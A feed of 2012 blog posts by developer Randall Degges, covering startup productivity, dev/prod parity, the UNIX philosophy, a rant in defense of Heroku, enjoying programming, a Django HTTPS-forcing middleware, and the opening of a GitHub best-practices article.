When I have a bunch of tasks laid out, and I assign myself something specific to work on each day, it almost never gets done. I’ve tried this time and time again, but no matter what I do (forcing myself to work on it, guilting myself into it, whatever the strategy may be) I fail. Well, either I fail or I produce crappy work, which is just the same as failing.

What I’ve learned to do over the past two months is to just have fun and work on whatever I feel like working on, on a day-to-day basis: chaos. Since I’ve started doing this, not only have I felt a lot more relaxed, enjoyed my work a lot more, and felt happier–but I’ve gotten a lot more accomplished in a smaller amount of time.

Sure, it isn’t always the most convenient thing to do, but it seems to consistently pay off. I’m willing to bet that one of the primary reasons companies like GitHub and 37 Signals are so successful is that they have a chaotic workplace.

A couple of weeks ago I was in the middle of a massive project: writing parsing code for enormous amounts of telephony data for one of our new projects: tnapi. At the time, this was the number one business priority, and absolutely dwarfed the importance of all my other work–but despite this, I decided to spend the day hacking on some open source projects, as I just couldn’t get myself into mood to write parsing code all day.

That day was one of the best days I’ve had in my life. I felt great, wrote some awesome open source code (that we later used integrated into our products), and felt refreshed the next day and excited to hack on the parsing code some more.

While I still have my projects laid out with TODO items, just like always, I’ve learned that no matter what I do, as long as I give it my all, it’s a hell of a lot more effective than forcing myself to work on something I’m just not feeling.

Time Changes

Two months doesn’t really sound like a long time. Looking back, however, two months seems like a lifetime.

In the past two months I’ve built, iterated on, designed, and created more value that I have in a long time. I’ve gotten more accomplished in less time than I ever thought possible.

It’s not that these two months have felt slow–they’ve just felt so full that time itself seems to be different. Instead of viewing two months as “Oh, I’ll finish this and this.”, it now seems like “I’ll design this product. I’ll ship the wire frames off to our designer. I’ll implement the back end services. I’ll test it. I’ll integrate the finished designs. I’ll blog about it. I’ll document it. I’ll integrate billing for it. Then I’ll work on the next product as well.”

I never imagined that in two months I’d be able to accomplish so much stuff.

APIs Are My Passion

I’ve always loved APIs and API companies. I love writing code that uses APIs (like Twilio, Tropo, GitHub, etc.)

More than anything, however, I love writing APIs. I really love it.

Writing APIs has been, without question, the most fun I’ve ever had programming. Since I started on this full time, I’ve been determined to change the company from a services company (which we have been up until now) to an API company, which focuses primarily on building APIs for developers.

While I won’t go into all the details here (I’ll save that for a future post), I want to just list some points:

Developers are the best customers ever.
Writing code for developers (being a developer yourself) doesn’t feel like work at all.
Making complex stuff (telephony stuff, for instance) simpler and more accessible is a great feeling.
Dealing with scaling issues is fun and educational. If your company makes APIs, this will likely be necessary sooner rather than later.

Hang out with cool programmers, write cool apps, and make some money along the way? Awesome.

Do More Stuff With the Wife

After the first week or so of working on my company full-time, I realized I was spending a majority of my time hacking, and not enough time with my wife. Since thinking about it, we’ve spent a lot more time together, and things have been great.

Between household chores, cooking, waking the dog, working out, and watching movies–we’ve ended up spending a ton of time together. Not only has this been really fun (my wife is awesome), but it’s been a bonding activity for the both of us, and our marriage has been really great.

Relaxing Means Relax

I’m not very good at relaxing. Even when I watch movies I’ll usually have my laptop open writing code, sending email, or browsing Hacker News.

Since I work on my startup completely from my house, I’ve been working to combat this. After a week or so of desperately trying to accomplish as much as possible while “relaxing”, I decided to give up and just watch a movie. No laptop.

What a difference.

I had no idea how refreshing it can be to lay down on the couch, curl up with my dog, and watch a movie from start to finish with no distractions. Not only have I been really enjoying my relaxation time a lot more, but after relaxing I actually feel refreshed, not depleted.

While this concept is stupidly obvious, I really need to keep it in mind so I don’t go back to my old ways.

Having Fun Is Easy

Having fun is easy if you focus on what you’re doing.

I’ve read tons of books on focusing better (coincidentally, if you aren’t familiar with The Pomodoro Technique, you should be), but nothing beats practical application. For me, this means shutting my office door, and banging out some small feature until I’m done with it.

I can’t tell you how many times I’ve stressed myself out by constantly thinking of all the things I have to get done, and the importance of each item. Taking a moment to realize how fun each little item can be, and focusing on it completely for a small chunk of time is an incredibly great way to get into the zone, have fun, and feel good.

Overall

Those are all my thoughts for now. I’m sure in a few months I’ll have a lot more.

Overall, the past two months have been pretty epic. I’ve had a lot of fun, gotten a bunch of stuff done, and had a ton of fun along the way.

A Developer's Conundrum - Dev / Prod Parity

r@rdegges.com (Randall Degges) — Tue, 10 Jul 2012 00:00:00 -0700

As a passionate developer, I constantly try to write the best code possible. I love my craft.

For me, this means that I:

Read lots of books on new and emerging technologies, trying to learn as much as possible about them as a hobby.
Write lots of open source code which solves problems in a reusable way.
Maintain old code, and periodically update it to new quality standards.
Rewrite software that needs to be rewritten, using whatever new knowledge I’ve obtained to do the job better.
Talk with a variety of developers in other fields with other skill sets, and learn from their experience.
Keep up with industry best practices, and do my best to adhere to them where possible.
Write maintainable code to make my life (and that of my fellow developers) as painless as possible.

None of these things are unusual amongst the friends I have, and people I know. Every good developer wants to follow best practices, write better code, and become better at their craft.

In general, I find that current best practices largely make sense. I primarily develop web software, and possibly the most famous best practices are all contained within The Twelve-Factor App, a document detailing the 12 factors which should be followed while building web software. If you strictly follow these 12 factors of good application design, it would be hard to go wrong.

Many of the 12 factors make perfect sense when you read them. They are undisputed as software guidelines.

To summarize:

Keep your system in version control. Deploy it as many times as needed– from the same codebase.
Ensure all your project dependencies are explicitly stated. You should be able to provision a working instance of your application on demand.
Store your application configuration as environment variables–this way you can easily move your application around, keeping sensitive data safe.
Treat all backing services as attached resources.
Separate your build, release, and run processes.
Ensure instances of your app are stateless, this way you can scale your app as needed.
Export your services via port binding.
Allow your services to run concurrently, allowing you to scale your system horizontally across many machines.
Keep your services quick to start up, and quick to shut down.
Keep development, staging and production as similar as possible to avoid unexpected deployment errors.
Treat your log files as event streams.
Run admin and management tasks as one-off processes.

Unfortunately, while I continuously do my best to follow the 12 factors of good application design, I’m constantly battling with myself over factor 10, dev-prod parity.

Dev / Prod Parity

When you write software (web software in particular), the environment you’re writing your code in is often very different from the environment which you’re deploying your code in.

If I’m writing a website, for instance, I’ll often need many infrastructure tools to make it run successfully in production:

PostgreSQL, for storing application data.
Amazon S3, for hosting my static assets (CSS, JS, images).
Memcache, for storing cached data.
Amazon SQS, for storing messages that need to be processed asynchronously.
etc.

The best practices way for me to handle this situation would be to use all of the tools above locally while I’m developing the website, so that when I’m actually ready to deploy my application in a production environment I already know that everything will work as expected.

And when I think about this, it makes perfect sense. If you want to build your application in the best way possible, avoiding as many issues as you can, you should probably make sure that your development environment (in my case, a laptop) is identical to your production environment (Heroku, AWS, or whatever you use to host your sites).

Unfortunately, this is my conundrum–I find it nearly impossible to both write good code, and minimize dev / prod parity.

The Difficulty

The difficult thing about minimizing dev / prod parity (for me), is minimizing pain. It is really painful, for example, to develop a site locally (on my laptop) and not be able to get instantly see how my web pages look when rendered.

If I were to only use S3 for hosting my CSS, for example, I’d have to:

Commit my changes to Git.
Push my code to Heroku.
Push my static assets (CSS) to S3.
Open my browser, visit my staging environment’s website (http://myapp-staging.herokuapp.com).

That’s a lot of pain to go through to see if my CSS change fixed what I wanted it to, or not.

In the same way that manging static assets sucks with no dev / prod parity, managing other infrastructure components is equally frustrating.

If I were to actually use Amazon SQS locally while developing my website, I’d have to (among other things):

Always be online to test even the most trivial of my application changes.
Run two separate processes locally (my web worker, as well as much background task worker).
Ensure I have a test SQS queue created for each of my applications in addition to my production queue.
Make sure that I consume all of my messages while testing, otherwise I’ll have messages sitting in SQS until they expire, costing money.

Ugh.

Complexity

I realize that complexity is a major issue here.

If your development and production environments are identical, deployment complexity goes down (because you already know things work).

If your development and production environments are very different, coding complexity goes up because you have to manage multiple application configurations: one for development, and one for production.

But which is worse?

What I’m Doing

Up until now, I’ve always found it a lot cleaner to maintain different application environments: one for development and one for production. This way, I can develop sites locally without issue, and deploy them (usually) without issue.

Sure, there are drawbacks to this approach (e.g. more code to worry about), but as a result, I’m able to develop my sites quite a bit quicker (instant feedback), as opposed to a more delayed (slow feedback) process.

Every time I talk to my developer friends, however, I’m constantly reminded of the rule: minimize dev / prod parity!

This is my conundrum.

I’d love to hear your opinions (please leave a comment), so that I can make a decision about what to do from now on in my quest to consistently improve my development skills >:)

Choices, Choices

r@rdegges.com (Randall Degges) — Mon, 02 Jul 2012 00:00:00 -0700

Something that is a constant source of inspiration for me, particularly in difficult (or high stress) situations, is the knowledge that I have the ability to make choices.

Everyday I wake up, and one of the first things I think about is what I’m going to do that day. Will I work hard? Will I exercise? Will I eat the right foods? Will I read? Will I write?

It’s so easy to not do any of those things. It’s incredibly easy to sit on the couch, surf Reddit all day, and eat potato chips–and it’s even easier to skip the gym, leave the book on the bookshelf, and hide under the covers.

Every single day you have the ability (at any time) to decide what you’re going to do. What you’re doing right now is already in the past. It doesn’t matter if you’re currently slacking off on your diet, work, whatever–you have the ability to stop what you’re doing, and make another choice.

The beautiful thing about choices is that each choice you make moves you in a new direction. What if you decided (right now) that you wanted to be the best bodybuilder in the world? You could go lift some weights, get a gym membership, read the necessary books, eat the necessary foods, train the necessary ways–and, if you’re persistent enough, you will do it.

Limitations are all imagined. If you make the choices you want to make, and consistently move forward to your goals–you will reach the outcome you’re looking for.

Don’t let external factors hold you back. If you want to do something, make the choice to do it.

Hack Everything ... To Pieces!

r@rdegges.com (Randall Degges) — Tue, 12 Jun 2012 00:00:00 -0700

Hack. HACK!

Programming is awesome. It is, without question, one of the most enjoyable things you can do with your time. That said, there is one thing you can do to substantially increase your personal joy and happiness while coding: HACK EVERYTHING INTO PIECES!

I’m sure you see where I’m going with this by now :)

I often find myself working on complex software. While I find it incredibly fun and challenging, it certainly comes with risks. One of the greatest risks is over-complication.

It is way too easy to become so engaged in your work that you continue building and building without thinking about the implications of what you’re doing. I find that when I’m building things, I tend to put all my focus into the task at hand, and completely disregard everything around me ’till I’m done. More often than not, this leads to disaster.

If you’re not analyzing what your overall objective is as you’re hacking, there will be problems!

Over-complication is the worst problem in software development. It causes bugs, confusion, anger, and even death! OK, so you probably won’t die from over-complication, but hey, don’t risk it (especially if you’re writing medical software >:0).

One thing that always bothers me is looking at what should be a simple piece of code, just to find that the author horribly overcomplicated the whole thing. It happens to all of us from time to time, but it can be avoided.

The One True Way

There is only “one true way” to write software: the UNIX way. If you’re an experienced programmer, you’ve probably kept these words close to your heart for a long time. Nevertheless, here they are again:

Write programs that do one thing and do it well.

When you find yourself working on complex software, the best thing you can do is to keep things simple. While there are certainly situations where a brute force mentality is required to make progress, more often than not, it’s a much better idea to break whatever you’re doing down into separate components.

The way I like to do this is by jotting down what the purpose of my software is. If I find myself writing more than one sentence, I often separate the sentences out, and decide to write multiple projects as opposed to a single monolithic one.

Keeping your software small, to the point, and simple is possibly the greatest productivity and happiness hack of all time. Not only does it feel really great to have a bunch of small simple apps, but it makes it exponentially easier to maintain your software, add features, and fix bugs.

Furthermore, by forcing yourself to keep things simple, you inadvertently learn to become a better developer. Small, simple design is one of the primary foundations for greatness in software development. Things like test driven development, clean refactoring, and good documentation is all made much easier when your software is small and simple. Try applying those tools to complex software, and you will be in for a world of pain.

Takeaway

The next time you’re about to dive into some code, take a second or two and analyze what it is you’re about to be doing. Programming is insanely fun, but writing the right sorts of programs is even more fun.

Hack everything!

Heroku Isn't for Idiots

r@rdegges.com (Randall Degges) — Sun, 03 Jun 2012 00:00:00 -0700

WARNING: This is a bit of a rant. I’m going to assume you have a basic understanding of Heroku, and web application architecture.

Heroku isn’t for idiots. There–I said it. I’m already starting to feel better!

I’m usually not the type of person to get involved in internet debate (because I typically avoid politics as much as possible), but yesterday I read an incredibly fraudulent article which really made my blood boil: The Cloud is Not For You.

Before I start to rip holes in David’s article, I’d just like to say–David is a good programmer. In fact–he’s a much better programmer than myself. If you’re involved in the python web programming world, you’ve likely used his software, and seen his presentations.

While I’ve never met the guy, he seems like a decent dude. So if you take anything away from this rant, let it be purely technical >:)

Also: I should probably mention that I’m in no way affiliated with Heroku. Like David, I know several Heroku employees, but that’s the extent of my relationship.

Ok then! Let’s talk about Heroku!

Heroku is Just Unix

At its core, Heroku is just a simple UNIX platform; specifically, Ubuntu 10.04 LTS.

The entire Heroku platform is really nothing more than small Ubuntu virtual server instances that can be spun up and down on demand. Each instance (Heroku calls them dynos), has:

512MB of RAM, 1GB of swap. Total = 1.5GB RAM.
4 CPU cores (Intel Xeon X5550 @ 2.67GHz).
Isolated execution. Anything you store on your dyno will be isolated from all other dynos.
A chroot jail environment. This means that you are completely locked down to one directory tree, with no write access to system files.
Per-second billing. Dynos cost 5 cents per hour. You get one dyno for free each month (per app). If you use a dyno for 2 seconds, you’ll pay 0.16666666666666666 cents. If you use a dyno for an entire month solid, you’ll pay 36$ (assuming a month has 30 days).

NOTE: If you want to calculate your costs for running your application on Heroku, they have a really nice cost calculator you can use.

So what does this mean? Well, it basically means that Heroku can run pretty much any Ubuntu compatible software you can think of. It also means that there’s really nothing magical going on here–it’s just UNIX.

Heroku is Centered Around Apps

Unlike most other cloud providers, Heroku isn’t in the VPS business. Their goal isn’t to sell you virtual Ubuntu servers that you configure yourself. Their real goal is to handle that stuff for you, and let you focus on building applications.

The main idea is that:

An application is a piece of software that talks over HTTP (websites, APIs, whatever).
An application exists to serve a single purpose.
An application has a single code base, version controlled with Git.
An application should consist only of application code–not infrastructure setup, or anything else.
Applications should be easy to scale horizontally. Need to support more incoming requests? Just add another application server to your pool, and Heroku will handle the load balancing.
Applications should be fault tolerant. Did your application or server crash? It will be instantly running on another virtual server so that you experience no downtime.
Applications should be easy to rollback. Need to rollback to a previous release? You can do it instantly.
Applications should use environment variables for configuration. You should never hardcode your configuration.

Does that sound good to you? Of course it does! Heroku encourages good application design and architecture from the ground up, by making certain assumptions about your project from the start.

If you’re writing an application–why should you have to:

Run redundant servers in case something breaks?
Spend time configuring every piece of your infrastructure?
Worry about hardware or host issues?
Build your own deployment systems so that you can instantly deploy your code across hundreds of virtual servers at once?
Build your own rollback system to instantly restore your application to a previous release?

If you want to do that stuff, Heroku isn’t for you. Heroku is for programmers who want to build applications.

Heroku Enforces Best Practices

Do you write good software? If so, you’re probably familiar with the term “best practices”. In the past several years, web developers have learned quite a lot about the ideal way to build web services.

Since web development first became popular, all patterns and development rules have culminated into something called The Twelve-Factor App. The 12 factor app is a set of guidelines that service developers should follow to build applications in the most effective way possible.

Heroku’s entire platform not only encourages 12 factor design, but enforces it.

The Heroku platform doesn’t tolerate poorly designed applications, and doesn’t cater to ineffective programmers. Heroku isn’t built for idiots.

Heroku is Modular

One of Heroku’s greatest strengths as a platform is its modularity. The core Heroku platform gives you a basic way to deploy and manage your code base and applications, while the Heroku Add-ons allow you to pick-and-choose your various infrastructure components.

Adding, resizing, and removing infrastructure components is reduced from hundreds of hours of sysadmin work to a single command.

Instead of building out your own infrastructure services, you can easily spin up (and down) the services you need, when you need them–paying only for what you use. Not only do you not need to worry about service interruption (these are all fully managed infrastructure services), but you have support channels, multiple options (you can easily swap out add-on providers), and excellent monitoring tools available to you with a single click.

Let’s Talk About Replacing the Cloud

If you want to build your own redundant, fully managed infrastructure services – go right ahead. Nobody is stopping you. There are great tools like Chef, Puppet, and Salt which make this process a lot less painful than it used to be.

Unfortunately, regardless of which tools you choose–managing infrastructure with any of the tools above is an enormous job. Sure, you could do what David did:

About three days into it, and I had learned how to use Chef (I don’t write Ruby), brought up two full pluggable configurations for a db node and a web node, written a deployment script in Fabric, migrated to the new hardware and destroyed my Heroku and Linode instances. Three days, that’s all it took to replace the cloud.

But all you end up with is a false sense of security in your new design.

To quickly debrief you, here’s what David did:

Rented a dedicated server.
Wrote his own Chef scripts to create a database.
Wrote his own Chef scripts to create a web server.
Wrote a deployment script using Fabric to deploy his application to his new servers.

Sure, this sounds great in theory, right? I mean, why not just rent (or buy) a physical server or two, and run your stuff there?

Let me ask you this: what happens if:

His hard drive / memory / NIC / etc. fails?
He accidentally runs OS updates, and breaks versions of his packages?
He wants to instantly rollback to a previous release of his code base?
He wants to add another server to handle incoming HTTP requests?
He needs to spin up a database read slave to handle a high amount of read requests?
His load balancer fails?
His Fabric script stops working because he renamed his project or reorganizes his application directory tree?
Or one of an infinite amount of other possible problems?

I’ll tell you what happens: his shit stops working.

Yah–it isn’t very hard to spin up some simple infrastructure services using Chef–pretty much anyone with a couple hours of free time can figure that out. The real issue is writing and designing a platform robust enough to not only account for hardware / software failure, but also to provide you (the developer) with enough security that you can effectively sleep easily knowing that your service will be running when you wake up in the morning.

If I had to bet money, I’d bet on chaos every single time. Why? Because software is complex. Hardware is complex. Spending a few hours bootstrapping a simple one or two server setup is nowhere near good enough to run services that people actually use.

Sure, David may be able to get away with it–for a while. But unless he plans on dedicating a significant portion of his time over the next couple of years to actually building a robust service platform–I believe it’s safe to say that David didn’t successfully replace the cloud with his work.

If anything, he simply localized his problems.

Let’s Talk About Monitoring

One of the big points that David mentions in his article is that he had no way of monitoring his dyno and application performance, and couldn’t figure out why so many weird things were happening:

Then shit started to hit the fan.

In no specific order, we started finding numerous problems with various systems:

Redis takes too much memory to reliably queue Sentry jobs.

Dynos are either memory or CPU bound, but we have no idea how or why.

The Postgres server can’t handle any reasonable level of concurrency.

We randomly have to spin up 20 dynos to get anywhere in the queue backlog.

Really David? REALLY?

Not only is there no data here to substantiate any of these claims–but monitoring these things is a piece of cake.

One of Heroku’s add-ons is meant specifically to diagnose this sort of issue: New Relic. If you’ve never heard of New Relic, you’re missing out. It’s the greatest software monitoring system ever built.

Here’s a screen shot of the dyno page of my New Relic panel. What you see here shows the average memory usage of my dynos, as well as the amount of dynos I have running, and any backlog (HTTP requests that have been waiting in a buffer because I don’t have enough dynos to concurrently process them).

Now let’s take a look at my web transactions page:

I can easily drill down into any view in my Django site, and see exactly what is happening. I can see (among other things):

How much time it took to process.
How much time was spent connecting to PostgreSQL.
Which queries were ran, and how long each of them took.
How much time was spent running various Python functions.
How much time was spent hitting external services (memcache, Redis, whatever).
And tons of other things.

Hell, I can even view specific stats on my celery workers:

I’m not even going to bother showing you the database tab, because I think you already have a good idea of where I’m going with this: Heroku isn’t the problem. You are.

Let’s Talk About Bad Ideas

First of all, Sentry is an awesome application. I even use it myself for monitoring multiple services. And in the off-chance you’re not familiar with what Sentry does–it essentially provides application monitoring / error reporting / error searching for your applications.

However, what does it say (to your customers) when you tell them that:

Your monitoring solution is hosted on cheap rented hardware.
It takes 24 hours to spin up a new box in the event that one dies.
You have no fail over plan.
You don’t spend the time to debug your application issues, and instead blame them on vague causes you haven’t verified.
You openly declare that adding resources on demand is useless.

All in all, it just seems like a bad idea.

On the Shoulders of Giants

To be totally open and honest (I’ve written about this a lot in the past)–I’ve done the same thing before. I’ve built my own hardware deployment / backup / redundant platform.

I’ve spent time learning Ruby and Puppet. I’ve spent time provisioning servers remotely using a combination of Fabric, Jenkins, and Puppet. I’ve dealt with the complexities and hardships of making a reliable auto-deployment system with rollbacks enabled. I’ve integrated monit, cacti, nagios, and munin monitoring.

At the time, I thought it was an awesome idea. After I jumped over the initial learning curve, it all seemed like a piece of cake. This is the way everyone should do it! It’s so cheap! It’s really awesome! But after a while, things changed.

I found myself spending tons of time every month dealing with:

Disaster recovery.
Building redundant services.
Setting up heartbeat to handle fail over.
Tweaking infrastructure build scripts to add new options to RabbitMQ, PostgreSQL, and other services.
…

After a few months passed, I looked back and said to myself: What the hell?. I went through so much trouble and time to build out my infrastructure and add in support for backups, recovery, etc.–that I ended up blowing enormous amounts of time on tasks that have all already been solved by people far smarter than myself.

To make things even more hilarious–after testing Heroku out initially, and migrating one of my large work applications over to it–our hosting costs dropped dramatically. After analyzing the costs, I found that:

I saved hundreds of hours of engineering time every month.
I didn’t have to run redundant services for everything (no redundant load balancers, backup web servers, backup workers, backup databases, etc.) since Heroku fully manages these things.
I didn’t have the overhead of running my own monitoring servers / software.
I could easily add web servers / workers to the pool when needed.
I could easily scale my database by adding read slaves, duplicate masters, and any other combination of hardware to support increased I/O needs.
My deployment system became instant, and rolling back releases was equally easy.
All systems administration tasks became a one liner.

While most of our cost savings came in the form of not having to run redundant servers–it was still an enormous amount.

Through this experience, I learned:

Heroku helps you build your applications more effectively by forcing you do to things the right way.
It is often cheaper to run on top of a managed cloud platform (like Heroku) as opposed to handling backups / redundancy yourself–as you have to manage and deal with a lot more servers and problems.
A lot of the common myths about ‘cloud problems’ are just that–myths.
Outsource things you can’t be the best at. I’m not building a deployment platform. I’m building software. I’d rather leave the deployment platform to someone else who can do it much better than me.

Takeaways

I hope you had fun reading this article. I wrote it with humorous intent–not to be taken seriously or offensively by anyone; I have a lot of respect for David Cramer.

The main point of this article is to combat the myth that “the cloud is not for you”. The cloud IS for you. Platforms like Heroku allow you to easily develop and scale your web services in a way that completely changes development.

Instead of spending your time worrying about administration issues, you can code to your heart’s content without worrying about stability, scaling issues, or anything else.

The next time you write a web service, give Heroku a try; I promise you won’t be disappointed.

UPDATE: In response to this (and many other related articles I’ve written) I wrote a book on Heroku, The Heroku Hacker’s Guide. If you’re at all interested in deploying web applications on Heroku, you should check it out.

How to Have Fun Programming

r@rdegges.com (Randall Degges) — Sat, 02 Jun 2012 00:00:00 -0700

I may not be a great programmer, but I have a ton of fun programming. As a self-taught hacker, I’ve always enjoyed programming to a great extent–but everyone has their ups and downs. These are simply my reflections about what makes me happy while programming, and serves as reminder to myself why I should keep pushing onwards!

Live for the Challenge

Writing software is difficult for so many reasons:

It requires a great deal of concentration.
It has lots of complexity.
It requires you to be in a certain emotional state to produce quality work.
It requires a great deal of prerequisite knowledge to do even the simplest of tasks.

One of the things I’ve come to understand over the years as I’ve learned more and more about coding is that if I’m not working on something that I find challenging, I have an extremely difficult time motivating myself to complete the project.

I find that I have the most fun when I feel like I’m accomplishing impossibly difficult tasks, building software that is not only critically useful to me (and others), but that requires a great deal of effort to produce. There are certainly exceptions to this rule (building simple software if it is needed)– but in general, only when I’m working on a challenging project can I really utilize my skills.

Have a Warrior Mindset

The way you approach challenges makes an enormous difference in the quality of your work. If you take a project lightly, and don’t fully commit yourself to working on it–you will always produce low quality software.

A mental hack I’ve learned to make heavy use of over the past two years is to put myself into a warrior mindset. As someone obsessed with Samurai culture, I find the idea of fully committing yourself to a task, and staking your life on it, a very powerful concept.

The first step in achieving a warrior mindset is to understand that if you commit to something, you will do it–or you will die. There is no “try”. The most practical way to apply this mindset to your day-to-day programming life is to be very selective about the projects you work on.

Is the project you’re about to start working on something you’d die for? If not, then it isn’t worth doing.

The second step in practicing the warrior mindset is to battle your code. If you’re working on a difficult problem, and can’t find a solution–find a way to persevere. Don’t quit. No matter how great the challenge, push through and do whatever it takes to win.

The sense of accomplishment and achievement you get after completing an incredibly difficult task is overwhelming. It’s certainly one of the greatest natural “highs” you can get.

One of the most powerful motivators in software is open source. Writing code in the open is incredibly fun.

Among other things, building and contributing to open source software:

Motivates you to produce high-quality work.
Encourages you to collaborate with others.
Helps you grow as a developer, by exposing your weaknesses and learning from them.
Builds a reputation for yourself amongst other programmers, and helps you make friends.

Aside from the obvious benefits–I get an enormous rush from publishing software online. For me, I get a giant sense of satisfaction from solving a problem using code–it’s the feeling that I’ve solved a problem that I have, and will never have to solve again.

Publishing my work brings a sense of ‘finality’ to the problem, and makes me feel like I’ve contributed something useful to the world, regardless of how many people do (or don’t) use my creations.

Don’t Conform

The software industry can be harsh–it’s filled with brilliant minds, and large egos. Unfortunately, this makes it very difficult to discover truth in what you read and hear.

All too often you’ll hear people say this technology sucks, or use this instead of that, and it can be easy to simply agree with a person based on their status–the truth, however, may be completely opposite.

Programming is meant to be fun. Writing software is a very personal, and very intimate creative experience. Instead of readily agreeing with your friends, coworkers, or random blog authors–experiment with whatever piques your interest.

Just because someone tells you that the cloud isn’t for you, it doesn’t mean you should listen!

No matter what the general consensus is–never conform. Make your own decisions, create your own path. Find out what you enjoy by trying a wide variety of things, and always try to remain optimistic.

Read

Technical reading is incredibly underrated. Whenever you have the chance, you should spend time reading technical books.

Not only does reading technical books help you gain a better understanding of your field–but more importantly, reading introduces you great hackers. There is absolutely no substitude for reading a good technical book–you’ll pick up:

Useful technical information.
The mindset of the author.
How the author thinks, works, reasons.
Best practices.
Multiple ways of doing things (many books are great at this).
A better understanding of the underlying technology you use, and how you can use it better.

I’m constantly surprised by how little time my peers spending reading technical books. To me, they’re an extraordinary motivation tool.

A big part of the fun in programming (for me) is learning new things–and one of the best ways to learn new things is to read and gain perspective.

Be Mindful

As a large part of writing software is mental, consciously analyzing your thoughts and actions is incredibly important.

Being mindful of what you’re doing, why you’re doing it, and generally keeping the big picture in mind will help you stay motivated, have fun, and truly enjoy your work. It’s far too easy to get swept away in details of day-to-day implementation–only when you take a step back, and analyze your progress, can you truly take pride in your work (and enjoy it).

No matter how frustrated, upset, or angry you are with your code–if you want to immediately feel better and be able to relax–think of the people you’re writing your software for. When I’m feeling unmotivated, all it takes is a few minutes of meditation on my purpose to get my hyped up inside, and propel me forward.

Talk With Other Hackers

No matter where you are in your programming career, you will have ups and downs. One of the best ways to continuously motivate and push yourself to new levels of skill is to hang out with other hackers like yourself.

Surround yourself with others who have an extreme drive to learn new things and build awesome products–and their contagion will rub off on you. Having a group of supportive, like-minded friends can make an enormous difference in your personal development, happiness, and day-to-day satisfaction.

In the off chance that you’ve read this far, and would like to hang out with some amazing hackers–you’re formally invited to join #heapify on irc.oftc.net (a public IRC channel). IRC has played a crucial role in my life, and many of the programmers I met years ago on IRC I’m still great friends with today. If you’d like to join a supportive group of enthusiastic developers, please drop by and say hi :)

Django and SSL

r@rdegges.com (Randall Degges) — Thu, 31 May 2012 00:00:00 -0700

I’m a huge proponent of encrypting everything. Why make it easy for the government (or other nasty organizations) to snoop on your personal data? As such, over the past several months I’ve been slowly migrating all my Django sites to SSL. Along the way, I realized how horrifically underserved the SSL library market actually is for Django.

A quick search for ‘Django + SSL’ on google returned nothing useful. I couldn’t find any libraries or tools that made ‘forcing HTTPs’ a one liner. The only useful thing I was able to dig up after a bit of hunting was this StackOverflow post that contains some custom middleware code that forces HTTPs redirection.

After a bit of unit testing (and some PyPI action), I published django-sslify–a simple Django app that forces all SSL across your Django site.

Setting up django-sslify is a piece of cake. Essentially–all you have to do is install django-sslify (duh!) and then modify your Django settings.py file like so:

# ...

MIDDLEWARE_CLASSES = (
 'sslify.middleware.SSLifyMiddleware',
 # ...
)

# ...

Once you’ve done that, all HTTP requests to your site will be permanently redirected to their HTTPs equivalents, forcing SSL encryption.

NOTE: If you’re using Heroku to host your applications (like I am), be sure to use their new SSL endpoint add-on. The new SSL endpoint add-on makes using SSL as easy as possible.

Automation as Motivation

r@rdegges.com (Randall Degges) — Mon, 21 May 2012 00:00:00 -0700

For the past two weeks, I’ve been having some serious programming motivation issues. Despite the fact that I know what’s causing the motivation issues, I haven’t been able to propel myself out of this mini-slump like I normally do.

Last night I was chatting with a good friend and business partner about the issue, when my friend started discussing a new business he’s been working on. While I’m unable to quote his exact words here (due to lack of certain memory), at some point he said something along the lines of “What I really want to do is quickly build everything, get it to a workable state, then let it just run itself.”

Instantly, the motivation returned.

For as long as I can remember, I’ve had a very specific idea of perfection. Perfection in my mind is complete automation. When I build software, I do so with the intention that when I’m done working on it, it should be able to run and manage itself indefinitely, without any human intervention.

The real beauty of software, in my mind, is that it can last forever.

Imagine a world where every problem was solved by some sort of software or hardware solution. Now, imagine if each of these small, independent solutions were engineered in such a way that they required no human intervention, and could simply carry on working indefinitely.

How awesome would that be?

The very idea that something can be solved “forever” seems extremely seductive to me. What if I never had to do laundry again because there was a sustainable, everlasting solution to that issue? What if I never had to implement a user profile on a website because there was some global service which permanently solved the problem?

Regardless of how small (or large) a problem is, there should be one simple solution that solves it indefinitely.

Since I got off the phone with my friend, I’ve been absolutely consumed by the idea of fully automating some of the projects I’ve been working on. I find that over time as I work on things, I end up burying myself in the little details–and forget about the big picture and goals. It is so easy to get carried away with feature X, or ticket Y that you completely lose sight of your ambitions.

Next time I fall into a slump, I’m going to remember my overall goal of perfect automation, and get back to work.

Never Stop Hacking

r@rdegges.com (Randall Degges) — Mon, 16 Apr 2012 00:00:00 -0700

This is a quick post, something that I have to get out of my mind and onto paper (err, the internets!).

I was thinking earlier today about what makes me happy–really, truly happy. I had just stopped coding, and was feeling frustrated that my builds weren’t working like I had hoped. I decided to go onto IRC for some procrastination, and ended up chatting with a really good friend.

My friend (who will remain unnamed), is an extremely smart fellow. One of the smartest I’ve ever had the pleasure of talking to. He’s a fucking amazing programmer, always positive, and constantly learning new things. As we were talking about programming, I started to feel better. I started to feel excited. My frustration began to melt away, and all that was left was desire.

The desire to learn new things. The desire to build something that has never before been built. The desire to hunt down problems–and then solve them.

It was at this moment I realized something. Something which, to me, is an incredibly powerful revelation. Often times, I find myself hunting for solutions. I find myself desperately trying to figure out what I should do about X, and how to optimize Y. I find myself searching for solutions to problems, hoping to get them out of the way as quickly as possible so that I can move onto the next thing, the next chore, the next item on my TODO list. It was in this moment that it all became clear to me–

I enjoy the problems. I crave them.

The more I focus on solutions, the more I treat them as a chore, as a task that needs to be finished–the more stressed and frustrated I become. It is only when I focus on the experience, the act of learning something new and hunting down problems, that I feel really, truly happy.

As programmers, we’re given a unique gift: the ability to spend a majority of our time learning things and solving problems. The next time I’m feeling stressed, frustrated, or even angry–I’m going to remember that it’s the process I really enjoy–that the process of learning new things is what really motivates me, and makes me love what I do so much.

Never stop hacking.

Successful GitHub Development

r@rdegges.com (Randall Degges) — Sat, 14 Apr 2012 00:00:00 -0700

I’ve been using GitHub for several years now, and it has drastically changed my development work flow, mindset, and collaboration efforts. Over the time I’ve used GitHub, I’ve contributed to many projects, started many of my own, and had the opportunity to interact with a wide range of developers (from novices to professionals).

This article is my attempt to explain GitHub best practices that you can practically apply to your everyday coding, which will make you:

A better programmer.
A better collaborator.
A more reputable programmer (that everyone likes).

For clarity, this article is broken up into two separate components, maintainers and contributors.

The maintainers section explains best practices for running your own open source project on GitHub. If you’ve ever published your own library, you should check it out.

The contributors section explains how to best contribute to already existing open source projects.

